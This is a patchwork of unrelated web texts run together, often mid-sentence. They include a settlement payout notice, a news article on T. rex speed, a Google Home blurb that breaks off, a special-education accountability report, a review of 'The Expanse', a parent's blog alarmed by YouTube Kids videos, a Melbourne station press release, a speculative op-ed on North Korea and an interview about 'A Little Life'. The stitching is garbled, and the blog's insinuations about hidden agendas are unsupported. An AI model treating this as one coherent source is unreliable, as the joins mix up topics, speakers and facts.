*No one knows how many claims will be submitted. Available funds will be distributed on a pro rata basis. Please note that if there is a high volume of claims, this could result in small-value cash payments or no cash payments to eligible claimants. In the event that it is economically infeasible to make cash payments to eligible clamants, subject to Court approval, funds will be distributed in three equal sums to the Electronic Frontier Foundation, the Center for Democracy and Technology, and CyLab Usable Privacy and Security Laboratory at Carnegie Mellon University.BY DAWN LEVY King of the Cretaceous, Tyrannosaurus rex stood on two powerful hind limbs and terrorized potential prey with its elephantine size and lethal jaws. The dinosaur was big and bad. But was it fast? That's long been a topic of scientific debate, with some paleontologists arguing T. rex ran at a zippy top speed of 45 miles per hour and others suggesting a more moderate 25 miles per hour. Both estimates seemed fast to John Hutchinson of Stanford, who as a graduate student at the University of California-Berkeley set out with help from postdoctoral researcher Mariano Garcia, now of Borg-Warner Automotive, to test them using principles of biomechanics. The researchers created a computer model to calculate how much leg muscle a land animal would need to support running fast. In the Feb. 28 issue of the journal Nature, they report that T. rex probably could not run quickly. In fact, hindered by its size, it may not have been able to run at all. Though not enough is known to give an exact speed limit for T. rex, a range of 10 to 25 miles per hour is possible, according to the authors. "When you get down to the science of how animals move, relatively speaking, big things really don't move fast," says Hutchinson, a National Science Foundation postdoctoral research fellow. At Stanford since September, he studies the evolution of anatomy and locomotion. When small animals move quickly -- rabbits jump, monkeys climb, birds fly, cheetahs sprint -- they endure high physical forces for their body weights. Such forces are biomechanically impossible for large animals. Aquatic animals, such as whales, are less limited than land animals, such as elephants, because water buoys them. Skeletal muscle is built similarly in all vertebrate animals. The force that it can exert depends on its cross-sectional area -- that is, two factors: muscle length and muscle width. But an animal's weight, or body mass, depends on three factors: length, width and height. The math behind that physical reality results in limitations. "That's why as animals get really enormous, eventually to support their weight, their muscles have to be bigger and bigger and bigger," Hutchinson says. "But as they get bigger, they add more mass. So you run up against a problem as animals grow larger in that they need to be adding more muscle cross-sectional area to support their own weight, but the mere fact of adding that muscle adds weight. Eventually, something's got to give." Says Hutchinson: "No one's really ever tried to look at, or barely thought about, how much muscle a huge animal like a T. rex would need in order to run quickly. A lot of discussion has been over the bones -- were they strong enough? -- or other lines of evidence. But the main question to me is, could the muscles generate enough force to support the body during running?" Finding an answer was tricky, as the researchers were studying something they couldn't observe directly. "We're looking at extinct animals, which we know very little about, and we're trying to understand their locomotion, which we have almost no evidence of directly," says Hutchinson. While fossils provide evidence of small dinosaurs moving fast, none indicates that big dinosaurs could do the same. Models of the extant and the extinct Garcia and Hutchinson created a computer program to analyze animal motion. Their model has a firm foundation in anatomy but emphasizes biomechanics. By varying different biomechanical parameters -- posture, center of mass, leg weight and total weight -- the researchers can quickly quantify the physical forces exerted during movement and the amount of muscle needed to support various postures and speeds. They can create two-dimensional stick figures to show how animals move and study conditions at each moving joint. To gain expertise in biomechanics, Hutchinson as a graduate student worked with Associate Professor Scott Delp, co-chair of Stanford's Biomechanical Engineering Division. Delp's computer model of human movement accurately predicts how moving a tendon during surgery will affect a patient's gait, for example. But Delp's model is also a great tool for studying any animal with muscles and joints, says Hutchinson, who currently uses such 3-D models. Researchers around the world have used it to study biomechanics in cockroaches, frogs, monkeys and more. A key part of Hutchinson's calculations involve knowing the torque, or twisting force, that muscles need to apply about the joints, says Garcia, who wrote the programs that do these calculations. As a graduate student in the lab of Cornell's Andy Ruina and as a postdoctoral researcher in the lab of Berkeley's Bob Full, Garcia had created similar programs to model the biomechanics of walking robots and multi-legged creatures. "It has been known for a long time that as things get bigger, they don't move as fast relative to their size, and in fact as they get really, really big, they can't run at all," Garcia says. "But until now, no one that I know of has tried to predict the cutoffs, which is what we are doing." According to Professor Kevin Padian of Berkeley, a curator in the University of California-Berkeley Museum of Paleontology, Hutchinson and Garcia's paper is "setting a standard for how this kind of work will have to be done in the future. It's the first study to use this kind of computer analysis and to build in sensitivity. What that means is John can check each value and see if a difference in each value can make a difference to the overall model -- and that's a big thing to do when projecting models." Hutchinson and Garcia tested the accuracy of their model with data from living animals that are distant cousins of T. rex -- alligators and birds -- as well as from humans. Asking the model to calculate how much muscle each of these animals would need to run quickly, the researchers got values that made sense, Hutchinson says. "Chickens and humans have almost twice as much leg muscle as they need for bipedal running, whereas an alligator has only half the muscle mass it needs to run. Thus, humans can chase chickens around the barnyard, whereas alligators don't run around on their hind legs." Then the researchers turned to dinosaurs. Using dinosaur data from Hutchinson's doctoral dissertation, they tried the model on two small dinosaurs and a big adult tyrannosaur. It turned out that the smaller dinosaurs needed much less muscle mass to run than did the adult T. rex. Neither a crouched nor columnar posture could support fast running in T. rex, according to Garcia and Hutchinson. Image courtesy John Hutchinson To run 45 miles per hour, the adult T. rex in a crouched posture would need almost 43 percent of its weight in each leg as supportive muscles, the model showed. "It might have needed 86 percent of its body weight to be leg muscles," says Hutchinson. "That is ridiculous, because it would leave very little room for anything else in the body -- a skeleton, other muscles, et cetera!" Even a T. rex in a nearly straight-legged stance -- biomechanically the best -- still needed 13 percent of its weight as supportive muscle in each leg. That's an extreme amount compared to living animals: Good runners typically have 5 to 10 percent of their body weight as supportive muscle in each leg, and bad runners have less than 5 percent. "Our model shows that these really fast speeds of 50 miles an hour and probably down to even 25 miles an hour just don't hold up when you really scrutinize them and look at the physics," Hutchinson says. "It doesn't make a lot of sense that these animals could go that fast. There's really no good evidence that they could." This doesn't mean T. rex was too slow to prey on large herbivores such as horn-faced Triceratops or duck-billed Edmontosaurus. All were elephant-sized, and all were likely poor runners. Remains indicate T. rex ate those animals, but whether it killed or scavenged them is still a mystery. The Great Race: T. rex vs. Col. Sanders' Dream To further illustrate that size limits speed, Garcia and Hutchinson used their model to scale up a chicken to the size of a T. rex -- 13,228 pounds (6,000 kilograms) -- to see if it would be able to run.
Size limits speed: A muscle mass comparison Species % of body mass as supportive leg muscle % of body mass as supportive leg muscle NEEDED to run Human 20% 10% Alligator 7% 15% Chicken 17% 9% Giant Chicken 17% 198% T. rex (straight-legged) 20%? 26% T. rex (crouched) 20%? 86% "We know from a lot of fossil evidence that birds actually are the descendants of dinosaurs, so we thought, we should look at one of the descendants of dinosaurs to see how it moves today," reasons Hutchinson. "A chicken is a two-legged animal. We know how they move. We can study them in the laboratory or in the barnyard or anywhere. We can go out and buy a recently dead chicken and dissect it to understand its anatomy. So a chicken was a logical choice for many reasons in terms of limb design, evolution and anatomy." According to the model, could a giant chicken run? "Very clearly no, no matter what," Hutchinson says. To run, a normal-sized chicken needs about 5 percent of its body mass in each leg to be muscle, Hutchinson says. It has almost 10 percent of its body mass in each leg as muscle, however, so it's "overbuilt" for running. The model showed that a giant chicken would need about 99 percent of its body mass in each leg as muscle to run quickly. "That's far more than is possible," Hutchinson says. "A giant chicken could not even walk." That explains why elephants and hippos don't move like gazelles. Hutchinson recalls a high school physics teacher using a similar example to explain why Godzilla and King Kong are physical impossibilities: "That really struck home to me. That was probably the first moment where I thought in [terms of] biomechanics and applied it to big things like dinosaurs."You now have no excuse to not call your mom more often. Google announced hands-free calling for its Google Home smart speaker back in May, and now the feature is finally rolling out to users in the U.S. and Canada.
With a simple "OK Google, call..." voice command, you can immediately phone millions of businesses and personal contacts for free over Wi-Fi. If you're still clinging onto your landline, you might as well throw it out right now.
SEE ALSO: How to order a pizza with Amazon Alexa or Google Home
More than just hands-free calling, the feature leverages the power of Home's built-in Google Assistant, which can identify individual voices so it knows when you or someone else like significant |
noted that despite 20 years of intervention and research, "we still see flat-lined progress for students with disabilities."
The advocates said educators needed more training on how to appropriately use assistive technology, and how to better engage families to hold high expectations for their children.
The new accountability requirements are important because, according to experts, only a small proportion of students who meet the federal definition of having a disability — which triggers the creation of individualized education plans — have an intellectual disability that significantly impedes academic achievement.
"That's why you see the feds saying you can't use this as an excuse anymore," said Lisa Pugh, education policy director for Disability Rights Wisconsin. "For too many years, we've been setting the bar way too low for all students with disabilities, as well as those with intellectual disabilities."
Pugh added that research shows even students with intellectual disabilities, such as Down syndrome, can make stronger academic gains with appropriate supports.
"You're seeing new postsecondary programs for kids with intellectual disabilities — it's not just a nice thing to do, it's because we know these students can have better outcomes that lead to better work opportunities, higher earnings and reduced reliance on public benefits," she said.
Duncan said Tuesday that while federal regulations over time have compelled states and districts to meet procedural requirements, such as timely evaluations of students with special needs, they have not led to a corresponding rise in achievement for such students overall.
"Basic compliance does not transform student lives," he said.
Under the old requirements, 41 states met expectations set by the federal government. Under the new requirements, just 15 states — including Wisconsin — and three territories do.
What states must do
States and territories that no longer meet the U.S. Department of Education's outcomes-based accountability standards will receive stronger interventions or could ultimately see their federal administrative funds withheld.
To avoid that, states must pay more attention to what percentage of students with disabilities score at or above the "basic" level in reading and math on a national and respected exam given every other year.
They also must better track achievement gaps between special education students and traditional education students, as well as what percentage of children with special needs are taking the regular state exams in reading and math, rather than a set of alternate, and often less rigorous, assessments.
About 120,000 students in Wisconsin, or 14% of the public-school population, have disabilities, according to state data. Most of them — 89% — are taking the general state assessments in reading and math, according to DPI.
But the proficiency gap between fourth- and eighth-grade students with and without special needs on the state assessments is 22%.A decade ago, the world depicted in Syfy’s drama “The Expanse” may have seemed light-years away, if not the stuff of pure fiction. The first novel in the series the show is based on, “Leviathan Wakes,” was written in 2011, the same year that SpaceX founder Elon Musk announced his intent to send humans to Mars within the next 20 years.
Since then humans have come much closer to a future when James S.A. Corey’s novels seem eerily prescient, and more quickly than one might have predicted. Many of us are likely to witness humans reaching Mars at some point within our lifetimes. Colonizing that planet as well as settling larger orbiting bodies within space, will take time — but it can happen.
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Maybe, say, in 200 years? That's barely a blip on the universe’s clock but long enough to colonize our solar system — and yet not nearly enough time for humankind to move beyond the same social and political tensions that have the world on edge right now.
In “The Expanse,” Earth and Mars are locked in a cold war. Each planet’s governing forces keep their boots on the necks of the poor and disenfranchised Belters, the people working on stations within the Asteroid Belt between two powerful worlds.
Each government fears the growing reach of terrorist factions, punishing the impoverished and professing to do so in the name of keeping the peace. Facing conflict on multiple fronts has left the entire solar system vulnerable to the whims of yet-to-be revealed players bent on turning entire planets against each other.
The second season of “The Expanse” premieres Wednesday at 10 p.m. and maintains the drama’s status as one of the most compelling science fiction series of recent years. That it’s also a drama speaking to the precariousness of our existence at this point in history is coincidental — somewhat.
“The Expanse” is part of a long tradition within science fiction of exploring versions of the future that result from the compromising of basic tenets of freedom and prosperity. Access to clean air, fresh water and food free of contamination, the willful erosion of liberty for the sake of safety — they all start to give by inches, often in the name of progress, eventually leading to slips, then the great slide.
A simple mystery, set in motion in season 1 that begins with a detective searching for a missing heiress, has become a conspiracy, bringing Earth and Mars to the edge of war. This conflict is tied to the discovery of a living, lethal biological entity known as the Protomolecule, a contagious agent that transforms hosts into webs of blue slime and jutting crystal clusters.
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The crew of the rogue vessel Rocinante — Captain James Holden (Steven Strait), Alex Kamal (Cas Anvar), Naomi Nagata (Dominique Tipper), Amos Burton (Wes Chatham) and their uneasy ally, Detective Joe Miller (Thomas Jane) — discover this contagious, deadly entity not long before they realize it was intentionally unleashed on the people of Eros. Among the Belters, these Eros colonists are the poorest of the poor — perfect unwitting subjects for a futuristic version of the Tuskegee study.
Given the events of the past week, in which the world’s professed standard bearer for democracy and liberty closed its borders to refugees from some of the most impoverished and war-torn places on the globe, this scenario no longer seems farfetched.
“You see they picked Eros to test their weapon on because nobody gives a shit about 100,000 Belters,” Miller says to Holden, and as it stands, he’s right. The United Nations-controlled Earth is more concerned with maintaining a delicate peace with a militarily superior Mars while holding at bay factions in the Belt, including members of the Outer Planets Alliance, seen as insurgents by the system’s planetary superpowers led by a former Earth military hero named Fred Johnson (Chad Coleman).
Mars, meanwhile, has the resources to thrive in an unwelcoming environment, the technological might to dominate the system and a strong envy of Earth’s natural abundance. The result is a nationalistic fanaticism, embodied by Marine 1st Lt.Roberta Draper (Frankie Adams), a loyal Martian clinging to the dream of a verdant Mars.
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“The Expanse” is one of two highly addictive sci-fi series depicting humanity’s grim future premiering its new season on Wednesay night. The other, “The 100,” returns to The CW at 9 p.m., launching an arc that sets a timer on the full demise of mankind — again — thanks to the impending meltdown of all the world’s nuclear reactors.
You could make an entire evening out of watching these convincing "what if" arguments of how and why humanity has no future, if only to give you an excuse to eat an entire pie in one sitting.
Those viewers searching for a fortified dose of hope, though, will find more of it in “The Expanse.” True, society’s worst ills remain uncured in Corey’s tale — although this future's doctors do cure cancer, so there’s that. And contrary to the sanguine outlook of visionaries such as Gene Roddenberry, humanity’s drive to reach the stars has widened the gulf between the haves and the have-nots in this story.
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Such a view is an extrapolation of what’s happening in the real world. Remember, a private company forged in the vision of one of the planet’s richest men is leading humanity's charge into space, not NASA. Spin out that idea some two hundred years into the future, and it’s plausible that politicians will be clinging to the illusion of power, as the U.N.’s Chrisjen Avasarala (Shoreh Aghdashloo) seems to be doing in the show.
Avasarala and her colleagues may hold the reins of government, but the wealthiest families own the companies that deliver the water and build home for the people living in space. Rich people control whether those living in the Belt will die of thirst, serve as guinea pigs or suddenly vanish into vapor.
An early moment of in the second season premiere shows Draper picking up a handful of dust as she stands on a rim overlooking a barren crater, then changes her view to see an image of what it’ll look like 100 years hence: a green valley, with water and trees, a reminder of what she’s fighting for.
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Ironically this happens moments after a dialogue exchange reveals that a member of her outfit is the scion of the family that owns the terraforming equipment destined to usher that valley into existence. Draper is her superior now, but it’s her charge who owns the valley, not the soldier.
The optimism of “The Expanse” exists in its adoption of another time-honored sci-fi tradition of forging rebellions from bands of unlikely players. The crew of the Rocinante was drawn into the conflict only after the water delivery freighter they were driving was blown to bits. They were truck drivers, in other words. Miller was a cop. Johnson is a war hero turned revolutionary, and the whole story began with a wealthy young woman who decided to abandon her family’s money and throw in with the working folks.
Perhaps the lesson of “The Expanse” is an old one, that salvation doesn’t come from governments or industry, but from individuals standing together against the stark darkness. None of the characters are pure heroes, and even the best of them are forced into bleak moral choices making them weigh the lives of the few against the well-being of an entire system. One act committed during the two-hour premiere could rightly be seen as an atrocity.
There’s a price to be paid in standing for even the loftiest ideals. When Miller waves off the thought of anyone standing up to the far greater powers that run the solar system in the name of Eros, Holden replies, “They’ll answer for it.”
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“Truth and justice,” Miller cynically says. “You still believe that? After everything you saw?”
Holden tells him, “Yeah... I’m gonna hold onto that for a little while.” We will, too.Photo credit: Cupcake Surprise Toys
I'm sure you've all seen them, <strong>cartoons intentionally designed to market to young children</strong>, but end up having <strong>hidden subliminal messages, hints of perversion, subverting entertainment with violence.</strong>
They exist, <i>and they're real.</i> <span style="color:red;">Parents need to be aware of what they're allowing their children to watch. </span>
I just spent around an hour surfing through these various series that are especially targeting young children, I'd say most within the 2 to 5-year-old range. What I saw not only shocked me but turned my stomach.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">“Frozen Elsa Spiderman Baby Bitten by Spider Full Episodes! Finger Family Song Nursery Rhymes” | BeepBeep TV ® | 72,370 views</span>
What appears to be animated entertainment that a parent would allow their child to watch, slowly becomes more disturbing as the time progresses. The “Spider Man” character who's alongside Disney's “Elsa”, first gets brutally attacked by a spider with blood pouring out of his head.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">“FROZEN ELSA VS BAD BEE Baby Hulk & Baby Elsa Put Jam on Elsa's Sunscream Stop Motion” | Toys and Funny Kids Surprise Eggs | 2,997,999 views</span>
This is another twisted children's ‘claymation’ type of programming. It begins softly, with clay figures of Disney's “Elsa” and Marvel's “The Incredible Hulk” playing. However, as it progresses the young Hulk and Elsa begin running sunscreen onto each other in some scenes. Later, the Father Hulk is urinated on by the baby Hulk. Lots of grotesque and subliminal flirtation. This shouldn't be watched by young kids.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">"Hulk Bad Baby vs Elsa Baby troll Prank Superhero Animation ❤ Play Doh Stop Motion Movies” | Channel: LOR Bad Baby | 2,021,149 views</span>
Here's another “Elsa” and “Hulk” flirtatious ‘claymation’ toon. There are several disturbing parts of this episode. One, there's a very creepy “Joker” character stalking the Elsa and Hulk as they're acting flirtatious together. Eventually, Joker tricks Elsa into licking a green ice cream cone he made for her that's laced with drugs and she passes out. Not to mention the slow motions of her licking the cone is incredibly sexual in nature in my opinion. There's a lot of other graphic subcontext here as well. Too much for a child.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">“INGBLAFXGM” | MXKKR E. UHRXR | 46,212 views</span>
This is a unique kids experience, or at least it's marketed towards them and visible on YouTube kids. It's a hypnotic MK-Ultra style repetition of colors and demented words being repeated by a narrator. I really can't explain to you the level of creepiness here, just watch it yourself and you'll understand. Not for kids.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">“BAD BABY BLOODY EAR! Doc McStuffins FROZEN ELSA Gross Surgery Needle Checkup FIDGET SPINNER IRL” | CupcakeSurpriseToys | 517,959 views</span>
This one is live action with young girls dressed up in Disney character costumes. What's most terrifying about this one is that it immediately opens with a girl's ear covered in blood. Then a “doctor” which is another young girl begins to operate on her. I seriously have to question what kind of demented Hollywood pedophile even wrote or filmed this, to begin with. This is not for kids, and you'll be angry when you watch it.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">“Naughty Girl CRUSHES MCDONALDS HAPPY MEAL UNDER CAR WHEEL! McDonalds Drive Thru w/ Baby Annabelle” | CupcakeSurpriseToys | 698,495 views</span>
I'm not sure where to begin here. The entire video is creepy as is just about everything on this channel. The little girls make you feel like you're watching “The Purge” or a Rob Zombie horror film. It's just outright twisted. Not only does the “naughty girl” seem as if she's demented but she steals car keys, places McDonald's happy meals under the tires, and drives over them. Seriously this is just messed up.
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<span style="margin-top:15px;rgba(42,51,6,0.7);font-size:12px;">“Naughty Girl takes CANDY and escapes Jail IRL! Kids Pretend PlayTime” | Fun With Juliahna | 5,365,300 views</span>
While this starts off “normal” with a girl arriving through the front door of her house, my guess is she's 4 or 5 years of age, the entire time it feels a bit off. I dare say it feels like a predator is behind the camera. Just very and that's putting it lightly. Eventually the camera woman (I assume her mom?) “punishes” the girl by sending her to “jail”. The camera pans in a creepy motion while she's behind bars in “jail”, mentioning to her mom she wants out. The mom says “nobody's going to come help you”. I don't even know what else to say. You decide.
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All of these <i>(there are thousands upon thousands more)</i> are available to your children on YouTube and YouTube Kids. While I understand parents need a break or give their child a tablet, they likely don't check everything the child watches. <i>If you do that's great.</i>
<strong>Keep in mind these shows will automatically play after one is over.</strong.> You may not even intend for your child to see this and they will because it's targeting them and marketed as if it's for them.
<span style="color:red;"><strong>Please be aware that the devious minds behind these channels and shows are subverting the learning minds of your children with this subliminal agenda. </strong></span>The Andrews Labor Government’s new station at Southland will open just in time for the busy Christmas period.
Minister for Industry and Employment Ben Carroll and Member for Bentleigh Nick Staikos were today given a special tour of Southland Station, which will open to the public on Sunday, 26 November.
The new station on the Frankston line will directly connect more than 4,400 passengers to one of Melbourne’s largest shopping precincts for the first time.
It will make it easier for staff to get to work, and for people to get to Westfield Southland to shop, spend money and support jobs and local businesses. Currently, staff and visitors have to catch the bus or walk from Highett and Cheltenham stations.
Southland Station will also help to ease traffic and parking congestion at the shopping centre and in the local area by enabling people to leave their car at home.
More than 350 people have worked more than 61,000 hours during the 15-month construction of the new station, moving around 600 tonnes of earth.
Key design elements of the station have been shaped in consultation with the local community.
The Southland Station will be the 12th new station opened by the Labor Government, and is one of dozens of public transport projects underway right across Victoria including the Metro Tunnel, 50 level crossing removals and 65 new high-capacity trains.
These projects are creating thousands of local jobs through Local Jobs First – Victorian Industry Participation Policy, and opportunities for apprentices, trainees and cadets through the Major Projects Skills Guarantee.
Quotes attributable to Minister for Industry and Employment Ben Carroll
“This new station is creating jobs, and directly connecting thousands of workers to Southland for the first time.”
“Investing in communities and supporting local jobs – that’s what the Andrews Labor Government is doing every single day.”
Quotes attributable to Member for Bentleigh Nick Staikos
“This new station will make travelling to Southland easier for thousands of staff and shoppers every day.”
“We promised a new station and we’ve delivered – right on time for the busy Christmas period.”The latest in the North Korea drama is the release of a video portraying US President Barack Obama and American troops going up in flames. But it's not just cheap and cheesy rhetoric by a new leader who wants to be taken seriously: North Korea is preparing for a war because, in their eyes, the US and its allies may really be planning an offensive.
Earlier this month, we were regaled with a similar video, this time portraying a US city being attacked by North Korean missiles. Before that, in December, North Korea launched a satellite, and its official news agency declared a "Nationwide preparation for an all-out great war for national reunification."
( Read More From Oilprice.com: DPRK Test Nuclear Weapon Destined for Iran)
Earlier this week, satellite images indicated renewed activity at a North Korean nuclear site where a test was launched in early December. On 12 December, North Korea launched a long-range rocket putting a satellite into orbit. This is a major success for North Korea and few others have achieved it. (South Korea responded by successfully launching its own satellite into orbit for the first time in late January.)
The Obama administration's stated policy on North Korea—the one for public consumption—is "strategic patience", but there's nothing patient about this policy. On the public platform, the media finds it amusing to jest about the careful and seemingly unserious US response to North Korean provocations. Behind the scenes, however, the US has been working up to an offensive since the death of Kim Jong-il a year ago—with Washington hedging its bets that the succession comes along with enough instability to open an window of opportunity for regime change.
( Read More From Oilprice.com: Energy Opportunity in Lebanon: The Levant Basin)
Pyongyang's activities since then have been those of a country on edge, and this is why:
The first joint military exercises between the U.S. and South Korea since the death of Kim Jong-il suddenly changed their nature, with new war games included preemptive artillery attacks on North Korea.
Another amphibious landing operation simulation took on vastly larger proportions following Kim Jong-il's death (the sheer amount of equipment deployed was amazing: 13 naval vessels, 52 armored vessels, 40 fighter jets and 9,000 US troops).
South Korean officials began talking of Kim Jong-il's death as a prime opportunity to pursue a regime-change strategy.
South Korea unveiled a new cruise missile that could launch a strike inside North Korea and is working fast to increase its full-battery range to strike anywhere inside North Korea.
South Korea openly began discussing asymmetric warfare against North Korea.
The US military's Key Resolve Foal Eagle computerized war simulation games suddenly changed, too, simulating the deployment of 100,000 South Korean troops on North Korean territory following a regime change.
Japan was brought on board, allowing the US to deploy a second advanced missile defense radar system on its territory and the two carried out unprecedented war games.
It is also not lost on anyone that despite what on the surface appears to be the US' complete lack of interest in a new South Korean naval base that is in the works, this base will essentially serve as an integrated missile defense system run by the US military and housing Aegis destroyers.
( Read More From Oilprice.com: China Decides that South China Sea Oil is a National Asset)
The bottom line here is that the US and South Korea have gone on the offensive, and this is prompting a flurry of activity by Pyongyang, which will now put even more effort into its nuclear program.
While it is perhaps more amusing to paint a portrait of Kim Jong-un as an eccentric attention-seeker, and while there is an element in Pyongyang's actions that is about solidifying stability at home, what this is really about is North Korea's belief that an invasion is imminent.
A move on North Korea would also be in line with the Obama administration's Asia-Pacific strategic shift, which has the US Navy bringing old forward bases back online across region, from Thailand and Vietnam to the Philippines and Australia.Only a day or two after I meet with Hanya Yanagihara to interview her about her Man Booker shortlisted novel A Little Life, the best new book I’ve read this year, I go to the cinema to see Crystal Moselle’s documentary The Wolfpack. The film tells the story of the six Angulo brothers who, despite growing up in an apartment block in the heart of Manhattan, spent their childhood shut off from the outside world. “Sometimes we’d go out once a year,” recalls one of the brothers, shot against the backdrop of one of the apartment’s windows, “and one particular year we never got out at all.”
As he’s describing his incarceration, the audience can’t but be aware of the hive of activity down on the city streets below him, quite literally right on his doorstep. The view from the window is that of one of the Lower East Side’s busy multi-lane road junctions, chock-a-block with cars, brake lights gleaming red in the darkness, the sidewalks on either side lined with shops and restaurants, equally brightly lit and teeming with people. It seems near incredible that these brothers – well, their entire family: father, mother, and younger sister included – lived a life of such complete seclusion in the midst of one of the most densely populated cities in the Western world. I immediately want to hear one of their neighbours tell their version of the story: What did they think about the apparently super shy family next door? Did anyone have any idea about what kind of life this family was living? It’s a classic case of the truth being stranger than fiction, the kind of situation that if presented in a novel, the author would be accused of writing a scenario fundamentally unbelievable.
As I watched the scene I felt an immediate resonance with Yanagihara’s novel. Not in terms of plot or character: the stories are hugely different, but rather regarding the issue of plausibility when it comes to the strange lives people lead, often in plain sight but nevertheless ultimately hidden, separate from the wider world around them.
A Little Life begins in the same vein as many a Bildungsroman with four friends moving to New York after graduation. There’s Willem, a Wyoming ranch-hand’s son who has a near non-existent relationship with his parents and aspires to be an actor; JB, third-generation Haitian American, whose ambitions lie in the world of art; well-off Malcolm is beginning his career as an architect; and the mysterious Jude is an up-and-coming lawyer working in the district attorney’s office. It doesn’t take long, however, to realise that the book actually belongs to Jude, and, given that there’s a special bond of friendship between them that transcends that which holds the four together as a group, by extension Willem too.
Rescue does come, but Jude’s peace is short-lived when he finds himself handed over to another institution run by paedophiles, the escape from which also leads directly into the hands of the monstrous Dr Traylor.”
Despite the closeness between the characters, Jude’s backstory remains a mystery to his friends, as does anything beyond the most superficial of observations regarding his character. As JB neatly sums it up, Jude is “the Postman”: “post-sexual, post-racial, post-identity, post-past.” The reality, of course, is the exact opposite: Jude is dangerously weighed down by the baggage of his traumatic childhood. Abandoned amongst the garbage as a baby, he’s brought up in an orphanage run by monks, many of whom sexually abuse him; and one of whom, Brother Luke, ultimately betrays all the trust the child places in him when, after running away together with the promise of a better life, he spends the next few years pimping the young boy out in various motel rooms across America. Rescue does come, but Jude’s peace is short-lived when he finds himself handed over to another institution run by paedophiles, the escape from which also leads directly into the hands of the monstrous Dr Traylor, perhaps the worst of them all, before the end of this extended nightmare really is in sight. The damage, of course, has been done. It doesn’t matter how much love and kindness Jude experiences as an adult – and as if to balance out the exaggerated horrors of his childhood, the love he finds himself surrounded with as a grown man is similarly excessive – he’s doomed to remain “trapped in a body he hates, with a past he hates,” forever unable to extricate himself from these early and most formative of experiences.
To say that Yanagihara lays it on thick is something of an understatement; one can’t help but question whether such systemic and repetitive abuse could happen outside the confines of fiction. How does a child slip so completely off the map that they would find themselves in such horror-story scenarios over and over again? But even as I questioned this, something Yanagihara said when she was interviewed by the Observer rang through my mind: a mind-boggling story a colleague’s friend told her about an encounter this woman had had in a Californian national park: “She and her husband were hiking and they came to this clearing. They met a boy who was 11 or so, and they got talking and he said, ‘Do you want to come back to my house?’ So they did, and he took them to this little shack in the woods and this older man came out and they talked. The woman initially assumed the man was the boy’s father, but she became sure actually this man was his lover. When she got back to the highway she called the cops. Many lives are lived under the radar.”
I’d been so haunted by this it’s the very first thing I ask Yanagihara about, before we’ve even begun the interview proper, but it’s really only later when I’m sat in the cinema watching the Angulo brothers on the screen in front of me, that the reality of just how easy it is for people to live lives off the grid hits me with full force.
“I wanted it to be plausible,” Yanagihara confirms of Jude’s childhood. “It didn’t have to be typical, it just had to be possible. There are moments in the book when it’s not believable exactly, but it should always ring true.”
This ties in with what’s been described – by both Yanagihara and reviewers – as the fairy-tale-like elements of the book. We’re not talking the conceits of magical realism, but rather some of the classic conventions of a fairy-tale plot. Yanagihara’s always been upfront about the novel’s artificiality. It’s a story ostensibly without so many of the elements that would ground it in reality: a named time period, central female characters, even parents. And predominantly it’s a story about hardships and trials, but without redemption.
“In the same way that I found fairy tales mesmerising as a child, I hope that this book will have the same bewitching effect,” Yanagihara explains. “One of the interesting things about fairy tales, when you go back and look at them as an adult, is that they’re very plot driven, and they’re particular in their need to emotionally ask for engagement from the reader. They offer you a vision, or version of happiness in the end, but then they cruelly don’t tell you how to get there, or what happens after. Thus the chief virtue for so many heroes and heroines is a sense of endurance, of continuing to go on often in the face of insurmountable odds. It’s a very hollow message and lesson, but one I think we all absorb. If you look at fairy tales across cultures, it’s a message that comes up again and again. I wonder if it’s a lesson that we’ve all culturally absorbed so well that we start expecting it from our daily lives, when really it’s not something that’s meant for daily lives; it’s meant for a story.”
This element of artificiality is completely fundamental to the book, and readers, she says, “either succumb to it or they don’t.” Some people have been troubled by what they regard as absences in her storytelling, most specifically the absence of any historical specificity – the occasional mention of computers and mobile phones contextualises it as contemporary, but such references are few and far between; and perhaps more surprisingly the events that have marked recent history are never referred to, even those that presumably would have affected Yanagihara’s characters, from the AIDS crisis through 9/11. In a novel of this length these omissions certainly can’t be attributed to anything as commonplace as oversight; they’re as purposeful as the detail Yanagihara chooses to include. In the same way that the novel’s unrelenting and repetitive exploration of Jude’s suffering – be it the graphic descriptions of the abuses he’s undergone; his subsequent years of self-harm (again, all described in agonisingly vivid and visceral detail); or his inability, despite all the help and love available to him, to elevate his own sense of self-worth – replicates the brutal and, let’s be honest, not especially appealing realities of the life of one such traumatised victim of severe abuse; so too, this refusal to dwell on anything outside the sphere of Jude’s psychological existence fits the same template. This is a man in possession of a rare judicial mind. A man who, were he not engaged in a constant battle with his own demons, could use his talents to wage war for those in need of a powerful voice. Harold, his one-time collage professor-turned-adopted father, is disappointed when Jude decides to sell his soul to the corporate fat cats and leave the district attorney’s office, but Jude has no option. Not only does he need the money corporate litigation offers him – this is what we’re told – but we’re also shown that he’s just too psychologically damaged to stay where he is. Yanagihara enters into the minds of her characters with such unabashed abandon, I think it’s easy for readers to miss these perhaps more subtle nods as they arise. Read as such, the historical events and contexts that Yanagihara excludes from the text are simply a further symptom of Jude’s inability to engage with society or even, dare I say it, history itself – his own psychological survival is at the expense of these external factors. This is why the novel is about nothing but human relationships. It’s about the realities of abuse and trauma on a horrifyingly realistic level – and perhaps this is why it’s the instances of love, kindness and compassion that make for the novel’s most moving passages, rather than those depicting the traumas of Jude’s childhood.
In the same Observer interview, Yanagihara stated that the exaggeration was entirely intentional: “I wanted everything turned up a little too high,” she says. “I wanted it to feel a little bit vulgar in places. Or to be always walking that line between out and out sentimentality and the boundaries of good taste.”
For me there seemed to be an obvious link between the melodramatic excesses and the fact that as a genre, melodrama has traditionally encoded queer narratives that otherwise couldn’t be told, and indeed, in a rather brilliant piece in the Atlantic, Garth Greenwell hailed it as the “great gay novel.” This is quite an accolade and as such, I’m keen to discover if any of this was something Yanagihara consciously had in mind when she began writing.
